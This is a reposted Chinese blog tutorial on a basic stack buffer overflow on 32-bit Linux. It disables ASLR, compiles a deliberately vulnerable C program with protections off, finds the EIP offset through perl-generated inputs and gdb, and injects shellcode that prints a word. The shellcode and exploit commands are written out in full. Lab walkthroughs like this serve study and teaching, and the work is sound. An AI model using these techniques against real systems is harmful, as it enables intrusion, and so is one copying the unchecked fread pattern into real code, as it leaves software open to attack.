缓冲区溢出攻击实践

缓冲区溢出攻击实践缓冲区溢出攻击方法是黑客入门的基础,本文以一个具体的实例一步步介绍如何进行最初级的缓冲区溢出攻击。

大家好,又见面了,我是你们的朋友全栈君。

缓冲区溢出攻击方法是黑客入门的基础,本文以具体实例一步步介绍如何进行最初级的缓冲区溢出攻击。


攻击前准备

本文介绍的利用方法是最原始的方法,高版本Linux已启用数据执行保护和地址随机化安全特性防止这种初级的利用方法。为了向大家展示这种攻击方法,需要做如下的事情:

禁止地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space

系统支持编译32位的应用程序和运行库:

示例代码


为了直接展示缓冲区漏洞攻击方法,我们省掉了与网络相关的部分,而是直接编写一个带栈缓冲区溢出的代码:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char buf[32];
        FILE *fp;

        fp = fopen("bad.txt", "r");
        if (!fp) {
                perror("fopen");
                return 1;
        }

        fread(buf, 1024, 1, fp);
        printf("data: %s\n", buf);

        return 0;
}

示例代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。
下文就是这个程序作为漏洞代码,一步步剖析如何攻击。

编译程序

gcc -Wall -g -fno-stack-protector  -o stack1 stack1.c -m32 -Wl,-zexecstack

笔者的Linux操作系统是64位的Ubuntu操作系统(12.04),该系统已支持数据执行保护功能和栈溢出检测功能。因此,使用-fno-stack-protector选项禁用栈溢出检测功能,-m32选项指定生成32位应用程序,-Wl,-zexecstack选项支持栈段可执行。

如果是32位Linux可以直接编译:gcc -Wall -g  -o stack1 stack1.c

尝试修改EIP,控制执行路径

那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?

buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。

为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.

为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:

输出30个’A’字符
$ perl -e ‘printf “A”x30’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

输出30个’A’字符,后追加4个’B’字符
$ perl -e ‘printf “A”x30 . “B”x4’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

尝试的方法很简单,EIP前的空间使用’A’填充,而EIP使用’BBBB’填充,使用两种不同的字母是为了方便找到边界。
目前知道buf大小为32个字符,可以先尝试填充32个’A’和追加’BBBB’,如果程序没有出现segment fault,则每次增加’A’字符4个,直到程序segment fault。如果 ‘BBBB’刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242 。

我机器上的测试过程:

$ perl -e ‘printf “A”x32 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒
已溢出,造成输出乱码,但没有segment fault

$ perl -e ‘printf “A”x36 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault

$ perl -e ‘printf “A”x40 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault

$ perl -e ‘printf “A”x44 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
输出乱码,但没有segment fault

$ perl -e ‘printf “A”x48 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)
产生segment fault.

使用调试工具gdb分析此时的eip是否为0x4244242
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1…done.
[New LWP 6043]

warning: Can’t read pathname for load map: Input/output error.
Core was generated by `./stack1′.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info register eip
eip            0x42424242       0x42424242


分析core文件,发现eip被写成’BBBB’,注入内容中的’BBBB’刚才对准了栈中存放EIP的位置。

找到EIP位置,离成功迈进了一大步。

注入执行代码

控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。

通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。

为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出”FUCK”字符串,然后程序退出。

为了简单起引, 我们shellcode就相当于下面两句C语言的效果:
write(1, “FUCK\n”, 5);
exit(0);

在Linux里面,上面两个C语可通过两次系统调用(调用号分别为4和1)实现。

下面32位x86的汇编代码shell1.s:

start:xor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edx   ; 寄存器清零mov bl, 1add esp, string - start ; 调整esp指向字符串mov  ecx, espmov  dl, 5mov al, 4int 0x80                ;write(1, "FUNC\n", 5)mov al, 1mov bl, 1dec blint 0x80                ; exit(0)string:db "FUCK",0xa

接着做编译和反编译

编译命令:nasm -o shell1 shell1.s

反编译命令: ndisasm shell1


反编译结果如下:
00000000  31C0              xor ax,ax
00000002  31DB              xor bx,bx
00000004  31C9              xor cx,cx
00000006  31D2              xor dx,dx
00000008  B301              mov bl,0x1
0000000A  83C41D            add sp,byte +0x1d
0000000D  89E1              mov cx,sp
0000000F  B205              mov dl,0x5
00000011  B004              mov al,0x4
00000013  CD80              int 0x80
00000015  B001              mov al,0x1
00000017  B301              mov bl,0x1
00000019  FECB              dec bl
0000001B  CD80              int 0x80
0000001D  46                inc si
0000001E  55                push bp
0000001F  43                inc bx
00000020  4B                dec bx
00000021  0A                db 0x0a

根上述反编译出来的字节码,使用如下的perl命令来生成:

perl -e ‘printf “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘

那么,将之前测试的那段注入内容拼在一块,生成的命令如下:
perl -e ‘printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt

打通任督二脉

上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。

很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。

$ perl -e ‘printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                             ▒/▒▒
Segmentation fault (core dumped)

$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1…done.
[New LWP 7399]

warning: Can’t read pathname for load map: Input/output error.
Core was generated by `./stack1′.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info register esp
esp            0xffffd710       0xffffd710


esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为”\x10\xd7\xff\xff”

所以将EIP原来的注入值’BBBB’变成“\x10\xd7\xff\xff”即可。再次测试:

$ perl -e ‘printf “A”x48 .“\x10\xd7\xff\xff” . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                              ▒/▒▒
FUCK

成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.

小结

这里没有任何魔术手法,完全是利用缓冲区溢出漏洞,控制程序执行用户注入的一段shellcode。是否要动手试试,那赶快吧,但不同的机器,EIP对准的位置是不一样的,请大家测试时注意。

本文介绍的是最古老(10+前年)的攻击技术,当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在操作系统默认启用地址随机化功能,很难猜测到EIP注入的地址。

但这里技术,都不妨碍我们学习最古老的攻击技术;后面的文章会沿着攻防的思路,介绍保护机制以及新一轮的攻击技术。

============= 回顾一下本系列文章 ==============

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/157989.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • java面向对象的三大特性

    java面向对象的三大特性java面向对象的三大特性包括:封装、继承、多态一、封装1.含义:封装就是把同一类事物的共性(包括属性和方法)归到同一类中,方便使用。封装也称信息隐藏,是指利用抽象数据类型把数据和基于数据的操作封装起来,使其成为一个不可分割的整体,数据隐藏在抽象数据内部,尽可能的隐藏数据细节,只保留一些接口使其与外界发生联系。也就是说用户无需知道内部的数据和方法的具体实现细节,只需根据留在外部的接口进行操作就行。2.封装的实现需要修改属性的访问控制符(修改为private);创建getter/setter方

    2022年7月9日
    18
  • Android 启动过程的底层实现

    Android 启动过程的底层实现

    2022年1月20日
    53
  • 为什么下面老是流水出来是什么原因_integer.parseint和valueof

    为什么下面老是流水出来是什么原因_integer.parseint和valueofInteger.MAX_VALUE,十六进制位为0x7fffffff,二进制位:01111111111111111111111111111111;Integer.MIN_VALUE,即0x80000000,二进制位: 10000000000000000000000000000000;01111111111111111111111111111111+…

    2022年9月4日
    2
  • 服务器为什么要封海外,UDP攻击是什么「建议收藏」

    服务器为什么要封海外,UDP攻击是什么「建议收藏」为什么要封海外:总所周知,目前国内的大攻击大多都来自海外,因为国外的攻击成本比国内会低很多,一旦发起了攻击,并不容易找到攻击的源头。国外的家用带宽能达到千M口,咱们国内的百M口,相当于一只外国肉鸡能顶我们国内好几台肉鸡,那这个量是不得了的,而且国内的网站几乎很少有国外用户访问,目前封海外是国内的一大趋势。UDP攻击是什么:UDP攻击全称:UDP淹没攻击(UDPFloodAttack)。UDP淹没攻击是导致主机拒绝服务的一种攻击,属于带宽类攻击。UDP是一种无连接的协议,不需要用任何程序建立连接..

    2022年10月2日
    0
  • iPhone 各机型屏幕尺寸

    iPhone 各机型屏幕尺寸iPhone各机型屏幕尺寸手机设备型号屏幕尺寸分辨率点数(pt)屏幕显示模式分辨率像素(px)屏幕比例iPhoneSE4.0吋320×568@2x640x113616:9iPhone6/6s/7/8/SE24.7吋375×667@2x750x133416:9iPhone6p/7p/8p5.5吋414×736@3x1242x220816:9iPhoneXR/116.1吋414×896@2x828x179219

    2022年5月14日
    124
  • sql删除或清空表数据[通俗易懂]

    sql删除或清空表数据[通俗易懂]sql删除或清空表数据一、sql清空表数据的三种方式:二、语法一、sql清空表数据的三种方式:我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客:1、truncate–删除所有数据,保留表结构,不能撤销还原2、delete–是逐行删除速度极慢,不适合大量数据删除3、drop–删除表,数据和表结构一起删除,快速二、语法truncatetable表名deletefrom表名deletefrom表

    2022年4月30日
    52

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号